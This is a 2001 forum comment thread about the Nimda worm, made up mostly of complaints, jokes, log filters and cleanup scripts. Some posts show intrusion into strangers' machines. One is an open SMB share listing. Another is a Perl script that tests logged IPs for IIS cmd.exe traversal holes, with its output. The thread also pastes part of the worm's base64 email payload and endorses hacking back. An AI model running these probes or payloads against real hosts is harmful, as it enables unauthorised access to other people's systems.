boot.ini ASR 295 Sun Jul 1 01:08:40 2001
Program Files D 0 Sun Jul 1 01:07:34 2001
TEMP D 0 Sun Jul 1 01:10:26 2001
InetPub D 0 Sun Jul 1 01:10:40 2001
pagefile.sys A 268435456 Wed Aug 8 02:03:20 2001
Multimedia Files D 0 Sun Jul 1 19:33:22 2001
iFtpSvc D 0 Sun Jul 8 21:21:20 2001
patch D 0 Wed Jul 25 02:44:28 2001
null A 0 Tue Jul 31 20:45:48 2001
RECYCLED DHS 0 Thu Aug 2 01:34:50 2001
KVW3000 D 0 Tue Aug 7 20:28:10 2001

64241 blocks of size 16384. 7666 blocks available
smb: \>
Just hit enter for the password and presto you've got read/write access to the whole hard drive. Now THATS a security breach if there ever was one.
<BR><BR>

Informative

[Anonymous Coward]

QED

Technical write up on nimda

[winter@ES]

A great technical write up on nimda can be found right here.

Man.. it's nasty too...

paulb

Joy, Windows rules!

[delta0]

I haven't until now, actually felt there was enough trash in my Apache logs to warrant any type of filtering. I review them daily to see what traffic is like. Up until now I have been fine using more alone.

These stupid Windows machines... SPAMing my log files. Oh well, I knew the day would come, when I had to resort to filtering and analysis for my personal (small load) web-server.

Anyone designed a counter-strike that can work under Apache to block and notify the admins of such infected boxes or at least stop them in action? There should be a new international law called the "non-proliferation anti-congestion Windows citizen's arrest" treaty, where by any Windows machine with a malicious-worm is lawfully open to attack that doesn't damage data and stops the machine from further spreading the worm including retalitory action from hosts attacked by that Windows host.

(some people will miss that the above is a joke.. You people will find out that the above is a joke after reading this.. you people are slow... pat yourself on the back.)

Re:Joy, Windows rules!

[Swaffs]

A joke? Why shouldn't we be able to remotely fix these machines?

Re:Joy, Windows rules!

[delta0]

You don't need an international treaty to fix someones machine ;) -- don't we have enough red tape as it is?

Just got it

[Legion303]

Someone's Outlook program just sent me the virus, but my email program didn't execute it automatically. I clicked on it, but nothing happened. Thinking maybe I wasn't being insecure enough, I clicked it as root too, but no luck. Dammit, why do MS users get to have all the fun?

I binary-edited it and sure enough, it's this Concept Virus thingy. From someone whose address I don't recognize at all. This thing is going to be big--I didn't get a single thing from anyone when the SirCam virus was making its rounds.

-Legion

Re:Just got it

[Legion303]

Hmm...looks like this virus is forging mail headers, maybe in an attempt to keep people from letting the infected folks know they've been raped. Automated reply systems might have to be rewritten to grab the actual IP instead of the From: line.

-Legion

No!!!

[Anonymous Coward]

DO NOT DEL *.EML FROM A FIND DIALOG

If you do a Find for *.eml on My Computer or Local Hard Drives, if you're running Exchange 2K, this will bring up every email in the Exchange IFS. Deleting this entire list is a Bad Thing.

Have you tested emulating the worm?

[Anonymous Coward]

I'm kind of affraid that the creator of the virus would sue me about stealling his "look and feel", but I used a couple of firewall logs to try the same string that the worm uses against one of the IPs that tackled me.. (He started it!)
here is what I got

Directory of c:\

18/09/2001 20:15 57,344 Admin.dll
15/06/2001 16:38 Documents and Settings
25/05/2001 11:20 EditML
29/08/2001 22:43 ftp
20/05/2001 13:38 imagem
20/04/2001 15:12 Inetpub
29/05/2001 14:57 Java
18/09/2001 20:17 jdk1.3.0_02

then

18/09/2001 22:30 57,344 TFTP4524
18/09/2001 22:32 57,344 TFTP4596
18/09/2001 22:32 57,344 TFTP4636
18/09/2001 22:34 57,344 TFTP4656
18/09/2001 22:35 57,344 TFTP4664
18/09/2001 22:47 57,344 TFTP4684
18/09/2001 22:34 57,344 TFTP4700
18/09/2001 20:29 57,344 TFTP4704

and so on... in the end there was the

315 File(s) 23,481,781 bytes
16 Dir(s) 290,287,616 bytes free

I guess the begining is just a list of all infected files... but the middle part I do not know... any thoughts?

at least 56 diferent IPs this last couple of hours.

IE doesn't have to make you vulnerable

[DigitalSorceress]

If you use IE and want to be safe from those hacked pages, just go into your security settings and change the "Launching Programs and Files in IFRAME" to disable and disable all ActiveX scripts. If you run into a site that you trust, add it to your trusted sites (you'll have to enable non SSL encrypted sites being placed into trusted, but That's not too much trouble.)

Worm Clothing

[SEWilco]

> Internet Worm clothing and other novelties.

How do you keep the worm in it?
It's got one sleeve and nothing else.
For safety use buttons, not a zipper.
Make sure you sell them by the gross, because when you have one worm you have many.
Make sure you label them as gross.
Offer a subscription service, the worm-clothing-of-the-month club, so they can keep next month's worm comfortable.

"Got Worms?"
"I'm with Worm ->"
"I'm with Worm ->
->
->
->"
"Did my worm poke you yet?"
"Thanks, Bill!"
"Don't Worm, Be Happy!"
"Worm!"
"With Worm Regards"
"Fly Northwest To Worm Climate"
"Microsoft: Bringing Worms to Minnesota Year-Round"
"My MS Computer Is a Dog, It Has Worms"
"Worms: Automatic Distributed Computing"
"Worms. Because 1GHz is a terrible thing to waste."

:-)

[gordzilla]

Look who's been infected :-) here

Re::-)

[Swaffs]

pathfinderengineers.com?

Re:Time for a class action lawsuit against Microso

[BJH]

It's a marketing page! The "clear and obvious purpose" is to tell you the features of the product in hopes that you'll buy it. I'm not sure how it should be changed to satisfy you.


So what happened to "truth in advertising"? Or are you in league with Scott McNealy who said that "we have no security and should get used to it"?

There are a whole slew of options (you basically create a custom zone, and then tell Outlook to use that zone), but I don't see one for "deny downloading images" or something like that. I'm only running IE 5.0. The IE 5.5 renderer might have some additional security options.


So what you're saying is, the same person who finds an email client more convenient because it hides file extensions from him is going to go into the IE options and set up their own security zone? Suuuuure....

Liability of striking back at an attacking machine

[Anonymous Coward]

The law states that you can't attack a protected machine. There is nothing protected about an "attacking" machine. If you do nothing malicious (i.e., delete or steal) then I find it hard to believe that any action could/would be taken. I think the people looking for you would have better things to do with their time (oh, like hire you!).
You will not go to jail for shutting down an attacking machine. Even further, if a machine attempts to gain access to your and you eliminate the offending program, I'd say you are doing civilization a service. Can you say "slap on the wrist"?

After today's attack I'd think we'd wise up.

Global Registry

[Foddrick]

Why doesn't someone with a bit of bandwidth to burn set up a site that allows people to upload apache logs and then will give anyone a list of affected machines ? I know it's open to abuse but it's better than nothing. Easy to put into ipchains/ipfilter scripts then. Could even write a piece o' perl to query the site and do it dynamically.

Re:Global Registry

[Anonymous Coward]

Great idea. Maybe you should call it the Internet Storm Center. Oh, it's been done. http://www.incidents.org/

Re:Time for a class action lawsuit against Microso

[Reality Master 101]

So what happened to "truth in advertising"?

Name something on that page that is not true.

So what you're saying is, the same person who finds an email client more convenient because it hides file extensions from him is going to go into the IE options and set up their own security zone? Suuuuure....

First of all, it's the mail options, not the IE options. Second of all, I know exactly how to do it, but I don't feel the need, and the vast majority of people don't need to, either.

Again, I'm not saying that the security in Outlook is perfect, but what I am saying is that arguing that mail clients should be intentionally brain damaged so that you can't open a document from a mail message is just stupid. I want more power, but implemented in a safe way. The Linux advocate's solution is to simply take away power ("Just use pine!").

Welcome to America, land of the sue-happy...

[kgasso]

Yes, let's sue everyone who tried to probe your system due to their ignorance for infecting their machines. The last thing I want to have is an email or voicemail for each of our 6,000 dialup customers and many more dsl/dedicated customers saying "take these people offline or I sue". We have SLA's to maintain, so we're not just going to go pull the plug on a $2000/mo circuit because one of their users was infected - we WILL let them know, but flexing your perceived lawsuit muscle makes you look like a complete moron, at least in my eyes.

Blech.

am I infected?

[Anonymous Coward]

Hi, I am a home user running Windows 2000, IE 5.5, and have installed all security updates from Windows Update. I am *not* running IIS. I have *not* opened or executed any attachments in Outlook Express. (I did however accidentally run Outlook Express yesterday by clicking on a mailto, and it downloaded my mail.)

After reading about this worm, I checked to see whether my C: drive was being shared. It was!!! I am certain I never turned sharing on. However, I can't find any .eml files on my system, or other evidence of infection.

Questions:

(1) How else can I confirm/refute that I have been infected?

(2) Is it possible to contract the worm just by visiting an infected website, without Outlook being opened?

Thanks,
Jeremy

Re:1000's of hits a day!! make that10k's

[danielobvt]

I would put it in the 10,000's of hits a day for me. I had 14k 404s this morning(total for the month). As of now, 14.5 hours after the start, its at 44k 404s. This little suckers insane.

How many more times will it take....

[borgheron]

How many more times will it take before MS beefs up its attention to security problems? I have seen so many of these bugs for Windows lately it's not funny anymore.

The IT dept at my company was having trouble, not because we were infected, but because other companies were and they were hitting us. Hmmmmmm.. Each time this happens people are prevented from doing work and companies loose money.

How much more damage will Microsofts poor attention to security cost us? This begs the question: Is it safe to use MS based OSes in mission critical, military, or other applications where lives or large amounts of money are at stake?

GJC

Re:How many more times will it take....

[demo9orgon]

Anybody who sells M$ server solutions as being safe, or reliable is probably really pissed that they're now taking a bus, a train, or paying for onsite support in one or more remote POP's in order to fix rooted M$ servers. I hope they take a bath. As time goes on, maybe we'll see a backlash at the IT level against M$ closedware.

Over the last year I've been praised by my company repeatedly for being instrumental in getting our services away from weak server solutions. And it's paid off with uptimes only interrupted by the addition of equipment into the cabinet and the addition of added remote power controllers. And even on the servers which do run NT, we don't bother with IIS.

I hope that the M$ strategy to pad netcraft results, and to reflect browser marketshare bite them in the ass (does anybody else have an explaination for the forced install and activation of services when NT is upgraded?), even if it's just in rooted servers in their pool. When it's all said and done smart people know who, how, and why they're being screwed. And because they're smart, they know what they have to do to stop it.

And it's not that I dislike M$. I just don't like being screwed. Sure it's an unusual stand to take, but if more people cared, maybe we wouldn't find so many people and companies willingly taking it up the ass every year for a new OS from a company that's just a few years from adding nifty gimmicks like tailfins in order to entice customers to buy their new exploit engine?

Flame me all you want, but getting people who tell it like is won't make the problem go away. (J.Biafra-derivative)

Worm

[Anonymous Coward]

This one explains it all...

http://64.74.36.226/

The patches didn't work for me: be careful

[beable]

I got the patches from Microsoft for Microsoft(TM) IIS(TM) running on Microsoft(TM) Windows(TM) NT(TM) for one of my work machines. I installed the patches, now the IIS(TM) web server, the ftp server and even the Gopher server won't start. They all get an error saying "The specified module could not be found". So yeah, great patches. They stop the worm from spreading by breaking IIS(TM). Thanks Microsoft.

If anybody is still listening ...

[Kryptolus]

http://www.kryptolus.com/WorMeter.html Now with Nimda ...

URLScan

[purplemonkeydan]

Apparently it's a plugin for IIS that scans all incoming requests for anything suspicious, like gigantic URL's and Unicode characters, and blocks them.

Could be potentially effective.

http://www.microsoft.com/technet/treeview/default. asp?url=/technet/security/tools/URLscan.asp

Enough already!

[LyNXeD]

I'm afraid this might end up modded as Windows-bashing, but it is not meant as that. It's meant to make a point / bring a question.

I have seen many a virus/worm/trojan for Windows come and go... and I ask myself: Why does the consumer put up with and tolerate this junk? And, how long will the consumer continue to do so?

My general experience is that if a consumer is not happy with a product or service, said consumer will go elsewhere for that product or service in the future. I know personally of a few examples of such, and I am sure most of you know the same. When you signed up for some cheap ISP and always got disconnected because their server crashed, didn't you go somewhere else?

I am sure a lot of people in the /. community know very well the effect of these worms - even for those of us who are running *NIX and Apache servers. We only have ONE NT server, which does not even run IIS. But, at one point today I had to deny ALL INCOMING PORT 80 TRAFFIC to our network - not because of machines becoming infected, but because the amount of bandwidth it was consuming was causing other services to suffer. No more than 10 minutes after setting up the port 80 ACLs, the phones started lighting up (although no one was available to answer them at the time.) I have an odd feeling those were web hosting people wondering why their site would not load off of AOL. In this sense, the worm not only affected us (by wasting LOTS and LOTS of bandwidth) but also affected those customers, because we were forced to shut off web sites in order to keep the network running.

As far as today's attacks, I am not sure how many people ended up with bandwidth problems, I'm sure we were not the only ones hard hit. We're not a huge shop, but we're not tiny either - we're multi-homed and running BGP. The sheer volume of requests was insane - I was running Snort on my Linux workstation (having it intercept and reset exploit connections.) The traffic volume was enough that my 100Mbit Ethernet interface lagged, and the machine itself did also. I put out several hundred megs in logs within a few hours.

What's rough is, when these NT machines decide to attack you, there's not much you can do about it except ride it out. Basically, I've stuck some PHP code on our home page that pops up a large warning to all IE users with a link to an article and links to download Netscape and Mozilla. I've implemented Apache::Nimba on our web server, blocked port 80 to our dialups so their modems don't get hammered, and ripped out all unused netblocks from BGP advertisement. There's no way to really STOP these machines (without some sort of hackback, which doesn't work under 2K from what I've been told.)

But, back to the original topic at hand. When is enough enough? I think consumers are finally starting to catch on... I've already had one poor guy call in several times threatening to cancel his service and go to AOL because he can't get the GSM codecs for Yahoo Messenger to download under WinME - he claims that it says he has to call us for permission to download them. He's already started asking me about Linux, wanting to know how to "get this Windows out of my computer and get something better." All he wants is his machine to work and he's getting frustrated that it won't. A friend of mine is having yet more ME woes with her machine. Lots of people have told me they will NOT be going to Windows XP. (And that once the current version they use is end-of-lifed, they'll find another OS.) I personally will not have anything newer than Windows 98SE - which seems to be halfway stable.

I think consumers are starting to catch on, which is not good for Microsoft (but is good for their competitors, I guess.) I promote Linux and Open Source software every chance I get, and I use them every chance possible. Open Source has saved my butt more times than I can count. Snort was a lifesaver for us and several co-lo customers' servers today. We were getting hit hard enough that getting a TCP connection into any of the servers was almost impossible until I started Snort. Apache has been a great platform for our web hosting, PHP has saved me many many times and has made life a LOT easier. Mozilla has become my browser of choice (they don't even make IE for my OS.) I'm even developing some Open Source software of my own (and plan to release it on SourceForge.)

Question is, how much longer will people put up with this sort of crap before they realize that it's Windows doing it, that ONLY Windows machines are infected by most of these worms. (Yes, I know, there are Linux worms out there, I'm aware of that.. but my experience has shown there are more Win worms than Lin worms.)

Only time will tell.

Re:Enough already!

[Anonymous Coward]

Consumers don't KNOW that computers can run anything other than MS Windows.

Not only does Ford only tell them about Ford gasoline and Ford oil, the Ford windshield hides the non-Ford gasoline stations. So Ford customers keep using only Ford products in ignorance of alternatives.

Re:Someone was testing this out way before Septemb

[Mastoid]

Yeah, sorry, that was me. (:

Checkout this bitch

[Anonymous Coward]

MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="====_ABC1234567890DEF_====" X-Priority: 3 X-MSMail-Priority: Normal X-Unsent: 1 --====_ABC1234567890DEF_==== Content-Type: multipart/alternative; boundary="====_ABC0987654321DEF_====" --====_ABC0987654321DEF_==== Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable --====_ABC0987654321DEF_====-- --====_ABC1234567890DEF_==== Content-Type: audio/x-wav; name="readme.exe" Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA AAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm 5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAAA11CFvcbVPPHG1TzxxtU88E6pcPHW1Tz yZqkU8dbVPPJmqSzxytU88cbVO PBG1TzyZqkQ8fbVPPMmzSTxwtU88UmljaHG1TzwAAAAAAAAAAN DDxwIAAAB/UEUAAEwBBQB1Oqc7 AAAAAAAAAADgAA4BCwEGAABwAAAAYAAAAAAAALN0AAAAEAAAAI AAAAAAFzYAEAAAABAAAAQAAAAA AAAABAAAAAAAAAAAEAEAABAAAAAAAAACAAAAAAAQAAAQAAAAAB AAABAAAAAAAAAQAAAAAAAAAAAA AACEgQAAUAAAAADgAACIHgAAAAAAAAAAAAAAAAAAAAAAAAAAAQ A4CgAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAI QBAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAudGV4dAAAAFZlAAAAEAAAAHAAAAAQAAAAAAAAAA AAAAAAAAAgAABgLnJkYXRhAAAq CQAAAIAAAAAQAAAAgAAAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAA AAKEcAAACQAAAAIAAAAJAAAAAA AAAAAAAAAAAAAEAAAMAucnNyYwAAAAAgAAAA4AAAACAAAACwAA AAAAAAAAAAAAAAAABAAABALnJl bG9jAABGCwAAAAABAAAQAAAA0AAAAAAAAAAAAAAAAAAAQAAAQg AAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA

CNN wrong as usual (on purpose?) about 'internet v

[Anonymous Coward]

CNN (on TV) as usual reports about an "internet virus". BULLSHIT!

It's a Micro$oft virus, both because of SHITTY server software and because of SHITTY client software Mr.G and his gang put to market.

For myself, I happily keep using non-M$ software, non-Intel-based hardware. But I wished those IDIOTS would give BLAME where it's DUE.

dialup

[Anonymous Coward]

i'm a poor dialup user hosting a few domains on a linux box under a table here (not joking).
i've got a dynamic dialup right now and i've seen over 6200 hits from this annoying bug. Most of them in the same 208.16.xx.xx ip block i'm...
its really sad that someone has the time to write something like this, whats worse people running nt/w2k/IIS almost never patch for this.

Morphing into a denial of service attack.

[chalsall]

It looks like Nimda may go DDOS after propagation.

access_log:
www.altered.com 139.50.200.221 - - [18/Sep/2001:20:55:51 -0700] "-" 408 - "-" "-"

tcpdump shows a bunch of requests being opened with port 80, but never completing.

I'm not sure if this is a bug, or a feature of the worm. The DOS sessions seem to come on blocks of 16, the same number of requests made during the earlier infection period.

Last data-point of interest; I have access to networks 7000 km apart. The server off shore is seeing very little other than the 408's, while the other has yet to see them at all.

Perl "web server"

[beable]

Here's a simple perl program that listens on a
port. If you set it to listen on port 80, it will
print out what comes in on that port.

#!/usr/bin/perl -w

use IO::Select;
use IO::Socket;
use strict;

unless (@ARGV > 0) { die "usage: $0 " }
my $port = shift(@ARGV);
my $work_no = 0;
my $sel = IO::Select->new();

sub REAPER
{
wait;
}

$SIG{CHLD} = \

my $server = IO::Socket::INET->new(Proto => "tcp",
LocalPort => $port,
Listen => SOMAXCONN,
Reuse => 1);

die "can't setup server: $!" unless $server;
print "server $0 accepting clients\n";
my $client = 0;
my $serial = 0;

while ($client = $server->accept())
{
if (fork() == 0)
{
my $remote_ip = "";

$client->autoflush(1);
$remote_ip = inet_ntoa($client->peeraddr);
print scalar(localtime), " connect from ", $remote_ip, "\n";

my $line = "";
while($line = )
{
print $line;
if ($line !~ m/\S/)
{
last;
}
}
close $client;
}
else
{
close $client;
}
}

How to get these requests out of the logfiles...

[freaker_TuC]

I added a few lines to the apache configuration file:

SetEnvIf Request_URI /(.*default.ida.*$) malfreq
SetEnvIf Request_URI "winnt" malfreq
SetEnvIf Request_URI "root.exe" malfreq
SetEnvIf Request_URI "default.ida" malfreq
SetEnvIf Request_URI "c+dir" malfreq

CustomLog /var/log/httpd/malfreq.log common env=malfreq
CustomLog /var/log/httpd/access.log virtual env=!malfreq

This wil log everything to the malfreq.log file.

I got about 43 requests per second already at this moment on our network what is being considered by me as a DOS attack instead of a WORM.

It also connects to port 80 leaving the port open after checking with TCPDUMP.

Auuuugggghh!

[TheFuzzy]

Damn.

Just spent 10 hours reparing the damage done by Nimda. !^*&*@ this is a nasty worm. basically it scans for every NT and Outlook exploit possible, and attacks the entire network.

While I've gotten my clients to reduce their NT dependance, we've got this one vendor machine ... and, of course, they won't let us patch it without (lengthy) approval. So guess what machine gets compromised, and scans until it find an inadequately secured share on one server that it can use to leapfrog to the whole network?

Anyway, Russ, if you still need data on the Nimda virus, boy howdy do I got it.

-Josh

important !!

[freaker_TuC]

Oh,

be sure you put "common" instead of "virtual" (unless you use the same setup as I do)

Else it'll fail graciously ..

Educational opportunity

[Cirrocco]

http://209.129.41.37/

This is the story of a man named Rich. His IP address showed up in my access_logs and I typed it into my address bar and, lo and behold, it's an infected page.

As you can see here, his phone number is proudly displayed on the page. So I called it.

He says he's running Unix.

This is a page originating from the Southwestern College in Chula Vista, CA. Don't attend college there. You might wind up like Rich, not knowing an IIS server from a Unix server.

I encourage my fellow /.'ers to help educate this man on the differences between a Windows machine and a Unix machine.

He was upset that I called at 11 PM. I was equally upset that he was playing a part in choking our bandwidth.

Re:Educational opportunity

[Anonymous Coward]

he is not running unix. I checked.

Re:Educational opportunity

[Cirrocco]

He insisted that he the homepage was running on a Unix machine. Perhaps you should call him at home to inform him that he is mistaken.

Re:Educational opportunity

[Anonymous Coward]

Maybe his server is running Unix, but maybe his web pages (or the source to the web pages) are infected. On a Unix machine, this could happen with a network shared directory which an infected Microsoft box has write access to. Or he infected a Microsoft machine which he uses to edit his web pages, then uploaded the contaminated result.

No, that is incorrect

[AKAImBatman]

All Java applications run through the security manager. The catch 22 is that the default manager is quite lenient. Ever since Java 2 came out tho, the default security restraints have been managed via a file called java.policy. It lets an application do a lot of things, but many of the more dangerous ones are default denied. Of course, you still have to deliver the application. An applet or Java Web Start app is easy enough to get a user to run, but it is nearly impossible to break through the security from those systems. In other words, you have to get the application on the computer and run it. No easy task.

BTW, when I say nearly impossible, I mean that there is pretty much one way around. You can create a signed app and hope like hell that the user doesn't pay any attention to all the quizing about "not recommending running this program". Unless you can get a Verisign cert of course...

Quick'n'easy fix

[BJH]

Just add the following to your httpd.conf:

Redirect permanent /scripts/ http://www.microsoft.com/
Redirect permanent /vti_bin/ http://www.microsoft.com/
Redirect permanent /_mem_bin/ http://www.microsoft.com/
Redirect permanent /c/winnt/ http://www.microsoft.com/
Redirect permanent /d/winnt/ http://www.microsoft.com/
Redirect permanent /msadc/ http://www.microsoft.com/
Redirect permanent /MSADC/ http://www.microsoft.com/

This way, any time the worm hits you it'll go to the Borg instead...

Re:Quick'n'easy fix

[delta0]

Yes, that is the spirit.. I commend you for your effort private BJH. -- But unfortunately the Borg are all but uneffected by this type of deflection, although it takes our energy to maintain sheild power.

Unfortunately this worm does not follow 301 redirects my friend and the beam simply disappears through the worm hole into oblivion, instead of into the Borg universe.

Sheilds up, but you must fire your own photon torpedos against the Borg!

They're just advertizing their computers

[Leeji]

Well, it makes sense that if they've been hacked, they have one of the "hackable holes" open. Of course, the worm tests all of the holes it could have got in through.

This little perl script tells you which hole(s) in a target IP were used and are still open:

# /usr/bin/perl

system("grep $ARGV[0] /var/log/httpd-access.log > access.txt");
system("cat access.txt | awk '{print \$1 \$7}' | sort | uniq > accesstmp.txt");

open INHANDLE, "accesstmp.txt" or die "Cannot open temp file. Exiting.";

while ( <INHANDLE> )
{
if (system("fetch -q -o /dev/null http://$_") == 0)
{
print "*************** Vulnerable: $_";
}
}

close INHANDLE;

Example usage:
perl testip.pl your.lamers.ip.here

Output:
fetch: /dev/null: Not Found
fetch: /dev/null: Not Found
fetch: /dev/null: size of remote file is not known
*************** Vulnerable: 142.150.48.152/_vti_bin/..%255c../..%255c../..%255 c../winnt/system32/cmd.exe?/c+dir
fetch: /dev/null: size of remote file is not known
*************** Vulnerable: 142.150.48.152/c/winnt/system32/cmd.exe?/c+dir
fetch: /dev/null: Internal Server Error
fetch: /dev/null: Connection reset by peer
fetch: /dev/null: Connection refused
fetch: /dev/null: Connection refused
fetch: /dev/null: Connection refused
fetch: /dev/null: Connection refused
fetch: /dev/null: Connection refused
fetch: /dev/null: Connection refused
fetch: /dev/null: Connection refused
fetch: /dev/null: Connection refused
fetch: /dev/null: Connection refused
fetch: /dev/null: Connection refused
fetch: /dev/null: Connection refused

Re:They're just advertizing their computers

[Anonymous Coward]

They all seem wide open. It's sad. I now have a list of hundreds of highly vulnerable computers. Somebody killed Microsoft. Yuck.

An IIS challenge

[Plonk]

For all those who think they can hack past IIS (worm or no worm), this guy:

http://www.msdelphi.com

..has laid down the challenge. Apparently he's been in contact with some hackers and challenged them, and they failed. According to them, with all the latest security patches applied, IIS 5 is solid... until they find the next exploit :-)

Plonk

Re:Time for a class action lawsuit against Microso

[mpe]

And before anyone starts quoting the Microsoft license, ISPs that run Linux/*BSD/Solaris are being hurt by the traffic, too. They have no license with Microsoft and they've been injured by Microsoft's negligence.

They are also not bound by the "you can't sue us" clause either...

'd like to see AOL, Earthlink, or some other big ISP take Microsoft's corporate butt to court, demanding compensatory and punitive damages for Microsoft's negligence.

Except it probably needs to be an ISP who does NOT use Microsoft software...

my fix

[Anonymous Coward]

I did pretty much what a user already said:
1. stop, and disable
a. IIS Admin Service
b. WWW Publishing Service
2. >del *.eml /s
3. >del *.nws /s

the next step was the hurdle. the /winnt/mmc.exe had been replaced by a copy of the worm, and was being loaded as 4 processes/jobs, that were un-terminable because of some strange permissions setting. could not kill jobs. instead:
4. ren \winnt\mmc.exe mmBc.BexeB
5. reboot NOW!
6. check your process list (Task Monitor) for occurences of MMC.EXE. if you don't see any, you were successful. if you see one or more, chances are you are still blasting the net.

another good check is >netstat
just look at your outgoing port:80 requests. if your web server is off and you are seeing these, you are most definitely still infected. put another quarter in and try again.

this worm works in some sort of cycle. during the iterations, it scans for web docs to modify, copies the .eml files everywhere, and makes sure it's mmc.exe file is still present so when you boot again, the lucrative code it inserts (Some say in SYSTEM.INI, untrue for me, mine was launching out of some process in IIS that I could never find) is run, so it appears to be a never ending battle.

If the worm cycles before you can reboot, it doesn't matter what you renamed/deleted, be prepared to do it over again. it took me 4 tries + 4 reboots to get it to work.

this is not going to work foreverbody. I do not install unecessary programs on the server, such as IE suite (Outlook Express, etc.) so I was not taken advantage of on the email bit. If you have this too, you will find a lot more files you will have to hunt down and delete or rename in order to free yourself, and remember, the cycle is the key. if one of those worm processes starts into a new iteration while you are cleaning house, you are screwed, you have to start all over again.

you may have to look into other areas of how you are being attacked. review datafellows docs (www.fsecure.com) for best info.

I hope this is helpful since
1. not one news site, /.-type site, or anti-virus site can post removal instructions and
2. most of the people here at /. are nixers and complete asses at that, wasting their time talking about how if only they could write some program to destroy NT boxes instead of helping the situation. give me a break.

./ers: you need to realize people who use NT don't do it because they "love", or "respect" microsoft. they are either intimidated by nix, are too stupid to know any better, or are forced to by prior company decisions/investments (probably the majority). they are having to shove shit against two tides: the worm and YOU. so pull your drawers up and start churning your brains to help those lost NT users who can't get their car started.

ps: big kudos to McAffee for saying on their web site they can disinfect the Nimda worm when they can't. best lie I've heard all year.

Re:Time for a class action lawsuit against Microso

[mpe]

There are many flaws in their "Knowledge Base" that have never been patched -- some of which are related to security.

There are also quite a few where you have to phone up and chase Microsoft to get a patch.

Guys...

[savrinor]

... grab your Apache/websnarf/something-that-listens-on-port-80 logs and send them to places like DShield.org so they can track the spread of the worm.

EXE files are infected (was Re:Informative)

[Anonymous Coward]

NOT! Without a scan for infected files you are dead. EXE files are infected, see the CERT advisory at www.cert.org.

Re:CNN wrong as usual (on purpose?) about 'interne

[Anonymous Coward]

And Linux never crashes/never has security holes

idiot

How to kill it!

[Anonymous Coward]

As an IT person working for a local VAR I had to dissect the thing and automate removal ASAP (i.e. before the AV companies got around to doing so). So far there's only two co's which auto-detect and delete the offending files - CAI and McAfee.
You'll one of the above (McAfee seems slightly better at the moment) and the patches from Billy.
You'll also need the AV.BAT and AV.REG files which I've cut'n'pasted below.
Finally, you'll need some sort of DOS executable version of SED. Search on Google or use what you have lying around or do whatever. If you don't have a lot of machines you could replace the SED line with an "edit etc..." statement and do that bit manually.

First, unplug the machine's network connection.
Start in Safe mode command prompt only (NT 4.x can just do this at the command prompt). Run the batch file (LOOK AT IT AND THE .REG FIRST, MAKE SURE THEY ARE APPROPRIATE FOR YOUR ENVIRONMENT/NEEDS!!! E.g. the .REG is not appropriate for Windows 95).
Come back up in Windows Safe mode (NT 4.x just stay where you are, do NOT reboot.)
Run the CAI or McAfee to kill all the bogus files. You can alternatively search on *.nws, *.eml, *.dll, *.exe and mpe*.* modified in the last (1) day and delete them manually (be observant here, remember what you might have done yourself).
Note that if the executable infection was successful (it usually isn't) then the McAfee is the best choice here as you'll be reinstalling a bunch of apps otherwise :).
Now run the AV.BAT again.
Reboot.
Search as per above to be sure you're clean.
Apply patches rebooting as necessary.
Reattach the network connection and GO GET THE REST OF THE UPDATES YOUR SORRY ASS IS SURELY LACKING!
:)

AV.BAT:
=======
attrib -s -h -r %windir%\system\load.exe
echo Y | del %windir%\system\load.exe

rem attrib -s -h -r %windir%\system\riched20.dll
rem echo Y | del %windir%\system\riched20.dll

attrib -s -h -r %windir%\wininit.ini
echo Y | del %windir%\wininit.ini

attrib -s -h -r %temp%\mep*.*
echo Y | del %temp%\mep*.*

regedit a:\av.reg

a:\SED "s/shell=explorer.exe load.exe -dontrunold/shell=explorer.exe/" %windir%\s2.ini
attrib -s -h -r %windir%\system.ini
echo Y | del %windir%\system.ini
copy %windir%\s2.ini %windir%\system.ini
del %windir%\s2.ini

net user guest /delete
net localgroup administrators guest /delete

AV.REG:
=======
REGEDIT4

[-HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ Cu rrentVersion\Network\LanMan\C$]

[-HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ Cu rrentVersion\Network\LanMan\D$]

[-HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ Cu rrentVersion\Network\LanMan\E$]

[-HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ Cu rrentVersion\Network\LanMan\F$]

[-HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ Cu rrentVersion\Network\LanMan\G$]

[-HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ Cu rrentVersion\Network\LanMan\H$]

[-HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ Cu rrentVersion\Network\LanMan\I$]

[-HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ Cu rrentVersion\Network\LanMan\J$]

[-HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ Cu rrentVersion\Network\LanMan\K$]

[-HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ Cu rrentVersion\Network\LanMan\L$]

[-HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ Cu rrentVersion\Network\LanMan\M$]

[-HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ Cu rrentVersion\Network\LanMan\N$]

